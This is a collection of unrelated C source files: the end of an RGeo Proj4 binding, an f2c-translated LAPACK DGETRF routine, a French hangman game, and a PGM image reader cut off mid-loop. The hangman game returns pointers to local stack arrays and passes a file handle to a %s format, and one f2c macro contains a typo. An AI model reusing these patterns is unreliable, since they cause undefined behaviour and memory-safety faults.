} return result; } static VALUE cmethod_proj4_create(VALUE klass, VALUE str, VALUE uses_radians) { VALUE result; RGeo_Proj4Data* data; result = Qnil; Check_Type(str, T_STRING); data = ALLOC(RGeo_Proj4Data); if (data) { data->pj = proj_create(PJ_DEFAULT_CTX, StringValuePtr(str)); data->original_str = str; data->uses_radians = RTEST(uses_radians) ? 1 : 0; result = TypedData_Wrap_Struct(klass, &rgeo_proj4_data_type, data); } return result; } static void rgeo_init_proj4() { VALUE rgeo_module; VALUE coordsys_module; VALUE proj4_class; rgeo_module = rb_define_module("RGeo"); coordsys_module = rb_define_module_under(rgeo_module, "CoordSys"); proj4_class = rb_define_class_under(coordsys_module, "Proj4", rb_cObject); rb_define_alloc_func(proj4_class, rgeo_proj4_data_alloc); rb_define_module_function(proj4_class, "_create", cmethod_proj4_create, 2); rb_define_method(proj4_class, "initialize_copy", method_proj4_initialize_copy, 1); rb_define_method(proj4_class, "_set_value", method_proj4_set_value, 2); rb_define_method(proj4_class, "_original_str", method_proj4_original_str, 0); rb_define_method(proj4_class, "_canonical_str", method_proj4_canonical_str, 0); rb_define_method(proj4_class, "_as_text", method_proj4_wkt_str, 0); rb_define_method(proj4_class, "_auth_name", method_proj4_auth_name_str, 0); rb_define_method(proj4_class, "_valid?", method_proj4_is_valid, 0); rb_define_method(proj4_class, "_geographic?", method_proj4_is_geographic, 0); rb_define_method(proj4_class, "_geocentric?", method_proj4_is_geocentric, 0); rb_define_method(proj4_class, "_radians?", method_proj4_uses_radians, 0); rb_define_method(proj4_class, "_get_geographic", method_proj4_get_geographic, 0); rb_define_module_function(proj4_class, "_transform_coords", cmethod_proj4_transform, 5); rb_define_module_function(proj4_class, "_proj_version", cmethod_proj4_version, 0); } #endif void Init_proj4_c_impl() { #ifdef RGEO_PROJ4_SUPPORTED rgeo_init_proj4(); #endif } RGEO_END_C
the_stack_data/93887835.c
#include <math.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <complex.h> #ifdef complex #undef complex #endif #ifdef I #undef I #endif #if defined(_WIN64) typedef long long BLASLONG; typedef unsigned long long BLASULONG; #else typedef long BLASLONG; typedef unsigned long BLASULONG; #endif #ifdef LAPACK_ILP64 typedef BLASLONG blasint; #if defined(_WIN64) #define blasabs(x) llabs(x) #else #define blasabs(x) labs(x) #endif #else typedef int blasint; #define blasabs(x) abs(x) #endif typedef blasint integer; typedef unsigned int uinteger; typedef char *address; typedef short int shortint; typedef float real; typedef double doublereal; typedef struct { real r, i; } complex; typedef struct { doublereal r, i; } doublecomplex; #ifdef _MSC_VER static inline _Fcomplex Cf(complex *z) {_Fcomplex zz={z->r , z->i}; return zz;} static inline _Dcomplex Cd(doublecomplex *z) {_Dcomplex zz={z->r , z->i};return zz;} static inline _Fcomplex * _pCf(complex *z) {return (_Fcomplex*)z;} static inline _Dcomplex * _pCd(doublecomplex *z) {return (_Dcomplex*)z;} #else static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;} static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;} static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;} static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;} #endif #define pCf(z) (*_pCf(z)) #define pCd(z) (*_pCd(z)) typedef int logical; typedef short int shortlogical; typedef char logical1; typedef char integer1; #define TRUE_ (1) #define FALSE_ (0) /* Extern is for use with -E */ #ifndef Extern #define Extern extern #endif /* I/O stuff */ typedef int flag; typedef int ftnlen; typedef int ftnint; /*external read, write*/ typedef struct { flag cierr; ftnint ciunit; flag ciend; char *cifmt; ftnint cirec; } cilist; /*internal read, write*/ typedef struct { flag icierr; char *iciunit; flag iciend; char *icifmt; ftnint icirlen; ftnint icirnum; } icilist; /*open*/ typedef struct { flag oerr; ftnint ounit; char *ofnm; ftnlen ofnmlen; char *osta; char *oacc; char *ofm; ftnint orl; char *oblnk; } olist; /*close*/ typedef struct { flag cerr; ftnint cunit; char *csta; } cllist; /*rewind, backspace, endfile*/ typedef struct { flag aerr; ftnint aunit; } alist; /* inquire */ typedef struct { flag inerr; ftnint inunit; char *infile; ftnlen infilen; ftnint *inex; /*parameters in standard's order*/ ftnint *inopen; ftnint *innum; ftnint *innamed; char *inname; ftnlen innamlen; char *inacc; ftnlen inacclen; char *inseq; ftnlen inseqlen; char *indir; ftnlen indirlen; char *infmt; ftnlen infmtlen; char *inform; ftnint informlen; char *inunf; ftnlen inunflen; ftnint *inrecl; ftnint *innrec; char *inblank; ftnlen inblanklen; } inlist; #define VOID void union Multitype { /* for multiple entry points */ integer1 g; shortint h; integer i; /* longint j; */ real r; doublereal d; complex c; doublecomplex z; }; typedef union Multitype Multitype; struct Vardesc { /* for Namelist */ char *name; char *addr; ftnlen *dims; int type; }; typedef struct Vardesc Vardesc; struct Namelist { char *name; Vardesc **vars; int nvars; }; typedef struct Namelist Namelist; #define abs(x) ((x) >= 0 ? (x) : -(x)) #define dabs(x) (fabs(x)) #define f2cmin(a,b) ((a) <= (b) ? (a) : (b)) #define f2cmax(a,b) ((a) >= (b) ? (a) : (b)) #define dmin(a,b) (f2cmin(a,b)) #define dmax(a,b) (f2cmax(a,b)) #define bit_test(a,b) ((a) >> (b) & 1) #define bit_clear(a,b) ((a) & ~((uinteger)1 << (b))) #define bit_set(a,b) ((a) | ((uinteger)1 << (b))) #define abort_() { sig_die("Fortran abort routine called", 1); } #define c_abs(z) (cabsf(Cf(z))) #define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); } #ifdef _MSC_VER #define c_div(c, a, b) {Cf(c)._Val[0] = (Cf(a)._Val[0]/Cf(b)._Val[0]); Cf(c)._Val[1]=(Cf(a)._Val[1]/Cf(b)._Val[1]);} #define z_div(c, a, b) {Cd(c)._Val[0] = (Cd(a)._Val[0]/Cd(b)._Val[0]); Cd(c)._Val[1]=(Cd(a)._Val[1]/df(b)._Val[1]);} #else #define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);} #define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);} #endif #define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));} #define c_log(R, Z) {pCf(R) = clogf(Cf(Z));} #define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));} //#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));} #define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));} #define d_abs(x) (fabs(*(x))) #define d_acos(x) (acos(*(x))) #define d_asin(x) (asin(*(x))) #define d_atan(x) (atan(*(x))) #define d_atn2(x, y) (atan2(*(x),*(y))) #define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); } #define r_cnjg(R, Z) { pCf(R) = conjf(Cf(Z)); } #define d_cos(x) (cos(*(x))) #define d_cosh(x) (cosh(*(x))) #define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 ) #define d_exp(x) (exp(*(x))) #define d_imag(z) (cimag(Cd(z))) #define r_imag(z) (cimagf(Cf(z))) #define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define d_log(x) (log(*(x))) #define d_mod(x, y) (fmod(*(x), *(y))) #define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x))) #define d_nint(x) u_nint(*(x)) #define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a))) #define d_sign(a,b) u_sign(*(a),*(b)) #define r_sign(a,b) u_sign(*(a),*(b)) #define d_sin(x) (sin(*(x))) #define d_sinh(x) (sinh(*(x))) #define d_sqrt(x) (sqrt(*(x))) #define d_tan(x) (tan(*(x))) #define d_tanh(x) (tanh(*(x))) #define i_abs(x) abs(*(x)) #define i_dnnt(x) ((integer)u_nint(*(x))) #define i_len(s, n) (n) #define i_nint(x) ((integer)u_nint(*(x))) #define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b))) #define pow_dd(ap, bp) ( pow(*(ap), *(bp))) #define pow_si(B,E) spow_ui(*(B),*(E)) #define pow_ri(B,E) spow_ui(*(B),*(E)) #define pow_di(B,E) dpow_ui(*(B),*(E)) #define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));} #define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));} #define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));} #define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; } #define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d)))) #define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; } #define sig_die(s, kill) { exit(1); } #define s_stop(s, n) {exit(0);} static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n"; #define z_abs(z) (cabs(Cd(z))) #define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));} #define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));} #define myexit_() break; #define mycycle() continue; #define myceiling(w) {ceil(w)} #define myhuge(w) {HUGE_VAL} //#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);} #define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)} /* procedure parameter types for -A and -C++ */ #define F2C_proc_par_types 1 #ifdef __cplusplus typedef logical (*L_fp)(...); #else typedef logical (*L_fp)(); #endif static float spow_ui(float x, integer n) { float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static double dpow_ui(double x, integer n) { double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } #ifdef _MSC_VER static _Fcomplex cpow_ui(complex x, integer n) { complex pow={1.0,0.0}; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x.r = 1/x.r, x.i=1/x.i; for(u = n; ; ) { if(u & 01) pow.r *= x.r, pow.i *= x.i; if(u >>= 1) x.r *= x.r, x.i *= x.i; else break; } } _Fcomplex p={pow.r, pow.i}; return p; } #else static _Complex float cpow_ui(_Complex float x, integer n) { _Complex float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } #endif #ifdef _MSC_VER static _Dcomplex zpow_ui(_Dcomplex x, integer n) { _Dcomplex pow={1.0,0.0}; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x._Val[0] = 1/x._Val[0], x._Val[1] =1/x._Val[1]; for(u = n; ; ) { if(u & 01) pow._Val[0] *= x._Val[0], pow._Val[1] *= x._Val[1]; if(u >>= 1) x._Val[0] *= x._Val[0], x._Val[1] *= x._Val[1]; else break; } } _Dcomplex p = {pow._Val[0], pow._Val[1]}; return p; } #else static _Complex double zpow_ui(_Complex double x, integer n) { _Complex double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } #endif static integer pow_ii(integer x, integer n) { integer pow; unsigned long int u; if (n <= 0) { if (n == 0 || x == 1) pow = 1; else if (x != -1) pow = x == 0 ? 1/x : 0; else n = -n; } if ((n > 0) || !(n == 0 || x == 1 || x != -1)) { u = n; for(pow = 1; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static integer dmaxloc_(double *w, integer s, integer e, integer *n) { double m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static integer smaxloc_(float *w, integer s, integer e, integer *n) { float m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Fcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conjf(Cf(&x[i]))._Val[0] * Cf(&y[i])._Val[0]; zdotc._Val[1] += conjf(Cf(&x[i]))._Val[1] * Cf(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conjf(Cf(&x[i*incx]))._Val[0] * Cf(&y[i*incy])._Val[0]; zdotc._Val[1] += conjf(Cf(&x[i*incx]))._Val[1] * Cf(&y[i*incy])._Val[1]; } } pCf(z) = zdotc; } #else _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i])) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } #endif static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Dcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conj(Cd(&x[i]))._Val[0] * Cd(&y[i])._Val[0]; zdotc._Val[1] += conj(Cd(&x[i]))._Val[1] * Cd(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conj(Cd(&x[i*incx]))._Val[0] * Cd(&y[i*incy])._Val[0]; zdotc._Val[1] += conj(Cd(&x[i*incx]))._Val[1] * Cd(&y[i*incy])._Val[1]; } } pCd(z) = zdotc; } #else _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i])) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } #endif static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Fcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cf(&x[i])._Val[0] * Cf(&y[i])._Val[0]; zdotc._Val[1] += Cf(&x[i])._Val[1] * Cf(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cf(&x[i*incx])._Val[0] * Cf(&y[i*incy])._Val[0]; zdotc._Val[1] += Cf(&x[i*incx])._Val[1] * Cf(&y[i*incy])._Val[1]; } } pCf(z) = zdotc; } #else _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i]) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } #endif static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Dcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cd(&x[i])._Val[0] * Cd(&y[i])._Val[0]; zdotc._Val[1] += Cd(&x[i])._Val[1] * Cd(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cd(&x[i*incx])._Val[0] * Cd(&y[i*incy])._Val[0]; zdotc._Val[1] += Cd(&x[i*incx])._Val[1] * Cd(&y[i*incy])._Val[1]; } } pCd(z) = zdotc; } #else _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i]) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } #endif /* -- translated by f2c (version 20000121). You must link the resulting object file with the libraries: -lf2c -lm (in that order) */ /* Table of constant values */ static integer c__1 = 1; static integer c_n1 = -1; static doublereal c_b16 = 1.; static doublereal c_b19 = -1.; /* > \brief \b DGETRF */ /* =========== DOCUMENTATION =========== */ /* Online html documentation available at */ /* http://www.netlib.org/lapack/explore-html/ */ /* > \htmlonly */ /* > Download DGETRF + dependencies */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/dgetrf. f"> */ /* > [TGZ]</a> */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/dgetrf. f"> */ /* > [ZIP]</a> */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/dgetrf. f"> */ /* > [TXT]</a> */ /* > \endhtmlonly */ /* Definition: */ /* =========== */ /* SUBROUTINE DGETRF( M, N, A, LDA, IPIV, INFO ) */ /* INTEGER INFO, LDA, M, N */ /* INTEGER IPIV( * ) */ /* DOUBLE PRECISION A( LDA, * ) */ /* > \par Purpose: */ /* ============= */ /* > */ /* > \verbatim */ /* > */ /* > DGETRF computes an LU factorization of a general M-by-N matrix A */ /* > using partial pivoting with row interchanges. */ /* > */ /* > The factorization has the form */ /* > A = P * L * U */ /* > where P is a permutation matrix, L is lower triangular with unit */ /* > diagonal elements (lower trapezoidal if m > n), and U is upper */ /* > triangular (upper trapezoidal if m < n). */ /* > */ /* > This is the right-looking Level 3 BLAS version of the algorithm. */ /* > \endverbatim */ /* Arguments: */ /* ========== */ /* > \param[in] M */ /* > \verbatim */ /* > M is INTEGER */ /* > The number of rows of the matrix A. M >= 0. */ /* > \endverbatim */ /* > */ /* > \param[in] N */ /* > \verbatim */ /* > N is INTEGER */ /* > The number of columns of the matrix A. N >= 0. */ /* > \endverbatim */ /* > */ /* > \param[in,out] A */ /* > \verbatim */ /* > A is DOUBLE PRECISION array, dimension (LDA,N) */ /* > On entry, the M-by-N matrix to be factored. */ /* > On exit, the factors L and U from the factorization */ /* > A = P*L*U; the unit diagonal elements of L are not stored. */ /* > \endverbatim */ /* > */ /* > \param[in] LDA */ /* > \verbatim */ /* > LDA is INTEGER */ /* > The leading dimension of the array A. LDA >= f2cmax(1,M). */ /* > \endverbatim */ /* > */ /* > \param[out] IPIV */ /* > \verbatim */ /* > IPIV is INTEGER array, dimension (f2cmin(M,N)) */ /* > The pivot indices; for 1 <= i <= f2cmin(M,N), row i of the */ /* > matrix was interchanged with row IPIV(i). */ /* > \endverbatim */ /* > */ /* > \param[out] INFO */ /* > \verbatim */ /* > INFO is INTEGER */ /* > = 0: successful exit */ /* > < 0: if INFO = -i, the i-th argument had an illegal value */ /* > > 0: if INFO = i, U(i,i) is exactly zero. The factorization */ /* > has been completed, but the factor U is exactly */ /* > singular, and division by zero will occur if it is used */ /* > to solve a system of equations. */ /* > \endverbatim */ /* Authors: */ /* ======== */ /* > \author Univ. of Tennessee */ /* > \author Univ. of California Berkeley */ /* > \author Univ. of Colorado Denver */ /* > \author NAG Ltd. */ /* > \date December 2016 */ /* > \ingroup doubleGEcomputational */ /* ===================================================================== */ /* Subroutine */ int dgetrf_(integer *m, integer *n, doublereal *a, integer * lda, integer *ipiv, integer *info) { /* System generated locals */ integer a_dim1, a_offset, i__1, i__2, i__3, i__4, i__5; /* Local variables */ integer i__, j; extern /* Subroutine */ int dgemm_(char *, char *, integer *, integer *, integer *, doublereal *, doublereal *, integer *, doublereal *, integer *, doublereal *, doublereal *, integer *); integer iinfo; extern /* Subroutine */ int dtrsm_(char *, char *, char *, char *, integer *, integer *, doublereal *, doublereal *, integer *, doublereal *, integer *); integer jb, nb; extern /* Subroutine */ int xerbla_(char *, integer *, ftnlen); extern integer ilaenv_(integer *, char *, char *, integer *, integer *, integer *, integer *, ftnlen, ftnlen); extern /* Subroutine */ int dlaswp_(integer *, doublereal *, integer *, integer *, integer *, integer *, integer *), dgetrf2_(integer *, integer *, doublereal *, integer *, integer *, integer *); /* -- LAPACK computational routine (version 3.7.0) -- */ /* -- LAPACK is a software package provided by Univ. of Tennessee, -- */ /* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */ /* December 2016 */ /* ===================================================================== */ /* Test the input parameters. */ /* Parameter adjustments */ a_dim1 = *lda; a_offset = 1 + a_dim1 * 1; a -= a_offset; --ipiv; /* Function Body */ *info = 0; if (*m < 0) { *info = -1; } else if (*n < 0) { *info = -2; } else if (*lda < f2cmax(1,*m)) { *info = -4; } if (*info != 0) { i__1 = -(*info); xerbla_("DGETRF", &i__1, (ftnlen)6); return 0; } /* Quick return if possible */ if (*m == 0 || *n == 0) { return 0; } /* Determine the block size for this environment. */ nb = ilaenv_(&c__1, "DGETRF", " ", m, n, &c_n1, &c_n1, (ftnlen)6, (ftnlen) 1); if (nb <= 1 || nb >= f2cmin(*m,*n)) { /* Use unblocked code. */ dgetrf2_(m, n, &a[a_offset], lda, &ipiv[1], info); } else { /* Use blocked code. */ i__1 = f2cmin(*m,*n); i__2 = nb; for (j = 1; i__2 < 0 ? j >= i__1 : j <= i__1; j += i__2) { /* Computing MIN */ i__3 = f2cmin(*m,*n) - j + 1; jb = f2cmin(i__3,nb); /* Factor diagonal and subdiagonal blocks and test for exact */ /* singularity. */ i__3 = *m - j + 1; dgetrf2_(&i__3, &jb, &a[j + j * a_dim1], lda, &ipiv[j], &iinfo); /* Adjust INFO and the pivot indices. */ if (*info == 0 && iinfo > 0) { *info = iinfo + j - 1; } /* Computing MIN */ i__4 = *m, i__5 = j + jb - 1; i__3 = f2cmin(i__4,i__5); for (i__ = j; i__ <= i__3; ++i__) { ipiv[i__] = j - 1 + ipiv[i__]; /* L10: */ } /* Apply interchanges to columns 1:J-1. */ i__3 = j - 1; i__4 = j + jb - 1; dlaswp_(&i__3, &a[a_offset], lda, &j, &i__4, &ipiv[1], &c__1); if (j + jb <= *n) { /* Apply interchanges to columns J+JB:N. */ i__3 = *n - j - jb + 1; i__4 = j + jb - 1; dlaswp_(&i__3, &a[(j + jb) * a_dim1 + 1], lda, &j, &i__4, & ipiv[1], &c__1); /* Compute block row of U. */ i__3 = *n - j - jb + 1; dtrsm_("Left", "Lower", "No transpose", "Unit", &jb, &i__3, & c_b16, &a[j + j * a_dim1], lda, &a[j + (j + jb) * a_dim1], lda); if (j + jb <= *m) { /* Update trailing submatrix. */ i__3 = *m - j - jb + 1; i__4 = *n - j - jb + 1; dgemm_("No transpose", "No transpose", &i__3, &i__4, &jb, &c_b19, &a[j + jb + j * a_dim1], lda, &a[j + (j + jb) * a_dim1], lda, &c_b16, &a[j + jb + (j + jb) * a_dim1], lda); } } /* L20: */ } } return 0; /* End of DGETRF */ } /* dgetrf_ */
the_stack_data/115765408.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #define JOKER '*' #define TRUE 1 #define FALSE 0 #define FIC_NAME "dico.txt" typedef struct mot_pendu mot_pendu; struct mot_pendu { char mot[100]; char mot_secret[100]; }; void dessiner_pendu(int nb_essai) { switch (nb_essai) { case 0: printf(" _______ \n"); printf(" |/ | \n"); printf(" | O \n"); printf(" | /|\\ \n"); printf(" | /\\ \n"); printf("___|___ \n"); break; case 1: printf(" _______ \n"); printf(" |/ | \n"); printf(" | O \n"); printf(" | /|\\ \n"); printf(" | / \n"); printf("___|___ \n"); break; case 2: printf(" _______ \n"); printf(" |/ | \n"); printf(" | O \n"); printf(" | /|\\ \n"); printf(" | \n"); printf("___|___ \n"); break; case 3: printf(" _______ \n"); printf(" |/ | \n"); printf(" | O \n"); printf(" | /| \n"); printf(" | \n"); printf("___|___ \n"); break; case 4: printf(" _______ \n"); printf(" |/ | \n"); printf(" | O \n"); printf(" | | \n"); printf(" | \n"); printf("___|___ \n"); break; case 5: printf(" _______ \n"); printf(" |/ | \n"); printf(" | O \n"); printf(" | \n"); printf(" | \n"); printf("___|___ \n"); break; case 6: printf(" _______ \n"); printf(" |/ | \n"); printf(" | \n"); printf(" | \n"); printf(" | \n"); printf("___|___ \n"); break; case 7: printf(" _______ \n"); printf(" |/ \n"); printf(" | \n"); printf(" | \n"); printf(" | \n"); printf("___|___ \n"); break; case 8: printf(" \n"); printf(" | \n"); printf(" | \n"); printf(" | \n"); printf(" | \n"); printf("___|___ \n"); break; case 9: printf(" \n"); printf(" \n"); printf(" \n"); printf(" \n"); printf(" \n"); printf("_______ \n"); break; case 10: printf(" \n"); printf(" \n"); printf(" \n"); printf(" \n"); printf(" \n"); printf(" \n"); break; } } char lire_caractere() { char caractere = 0; caractere = getchar(); caractere = toupper(caractere); while (getchar() != '\n') ; return caractere; } int nouvelle_lettre(char nouvelle_lettre, mot_pendu *pendu) { int size = strlen(pendu->mot); int i; int result = FALSE; for (i = 0; i < size; i++) { if (pendu->mot[i] == nouvelle_lettre) { pendu->mot_secret[i] = nouvelle_lettre; result = TRUE; } } return result; } int contains_char(char c, char *s) { int i; for (i = 0; i < strlen(s); i++) { if (s[i] == c) { return TRUE; } } return FALSE; } void victoire_ou_defaite(int nb_essai, mot_pendu *pendu) { if (nb_essai == 0) { system("clear"); printf("==========================\n"); printf("======= T'ES MORT ========\n"); printf("==========================\n"); printf("%s\n", pendu->mot); printf("\a"); dessiner_pendu(nb_essai); } else if (!contains_char(JOKER, pendu->mot_secret)) { system("clear"); printf("==========================\n"); printf("=======C'EST GAGNE========\n"); printf("==========================\n"); printf("%s\n", pendu->mot); printf("\a"); dessiner_pendu(nb_essai); } } int compter_lignes(FILE *dico) { int count = 0; char s[100]; rewind(dico); while (fgets(s, 100, dico) != NULL) { count++; } return count; } char *lire_ligne(int n, FILE *dico) { char ligne[100]; rewind(dico); while (n > 0) { fgets(ligne, 100, dico); n--; } fgets(ligne, 100, dico); ligne[strlen(ligne) - 1] = '\0'; return ligne; } char *piocher_mot() { char mot[100]; FILE *dico = fopen(FIC_NAME, "r"); if (dico == NULL) { printf("File %s does not exist or cannot be opened.\n", dico); exit(1); } int compte_lignes = compter_lignes(dico); srand(time(NULL)); int n = rand() % (compte_lignes); printf("Reading line %d\n", n); strcpy(mot, lire_ligne(n, dico)); fclose(dico); return mot; } void print_header(int nb_essai) { printf("==========================\n"); printf("======= PENDU ========\n"); printf("==========================\n"); printf("Il vous reste %d essais avant une mort certaine\n", nb_essai); printf("Saisissez un lettre\n"); } int main(int argc, const char *argv[]) { char c; do { mot_pendu pendu; strcpy(pendu.mot, piocher_mot()); int i; for (i = 0; i < strlen(pendu.mot); i++) { pendu.mot_secret[i] = '*'; } pendu.mot_secret[strlen(pendu.mot)] = '\0'; int nb_essai = 10; while (strcmp(pendu.mot, pendu.mot_secret) && nb_essai > 0) { system("clear"); print_header(nb_essai); dessiner_pendu(nb_essai); printf("mot secret %s\n", pendu.mot_secret); char lettre = lire_caractere(); if (!nouvelle_lettre(lettre, &pendu)) { nb_essai--; } victoire_ou_defaite(nb_essai, &pendu); } printf("\nRejouer ?\n"); c = lire_caractere(); } while (c == 'Y' || c == 'O'); }
the_stack_data/82028.c
#include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct{ unsigned int gray; //struct dos pixels em RGB; }pixel; int main(){ FILE *image; FILE *image2; FILE *newImage; char key[5], _key[5]; int i,j, larg, alt, max; int _i,_j, _larg, _alt, _max; //entrada image = fopen("A.pgm", "r"); if(image == NULL) { printf("Erro na abertura do arquivo \n"); return 0; } //key fscanf(image, "%s", key); if(strcmp(key, "P2") != 0){ printf("Arquivo n e PGM\n");//checa se esta em P3 printf("%s\n",key ); fclose(image); return 0; } //header fscanf(image, "%d %d\n%d\n", &alt, &larg, &max);//le o cabeçario printf("larg =%d alt=%d key=%s max=%d\n",larg, alt, key,max );//printa na tela os valores lidos //saida newImage = fopen("arquivo.pgm","w+"); //abre o novo arquivo que vai ser criado if(newImage == NULL){ printf("ERRO AO ABRIR NEWIMAGE"); return 0; } pixel **G =(pixel**)malloc(alt*sizeof(pixel*)); for(i=0;i<alt;i++){ G[i] = (pixel*)malloc(larg*sizeof(pixel)); } //lê as infos da matriz original for(i=0; 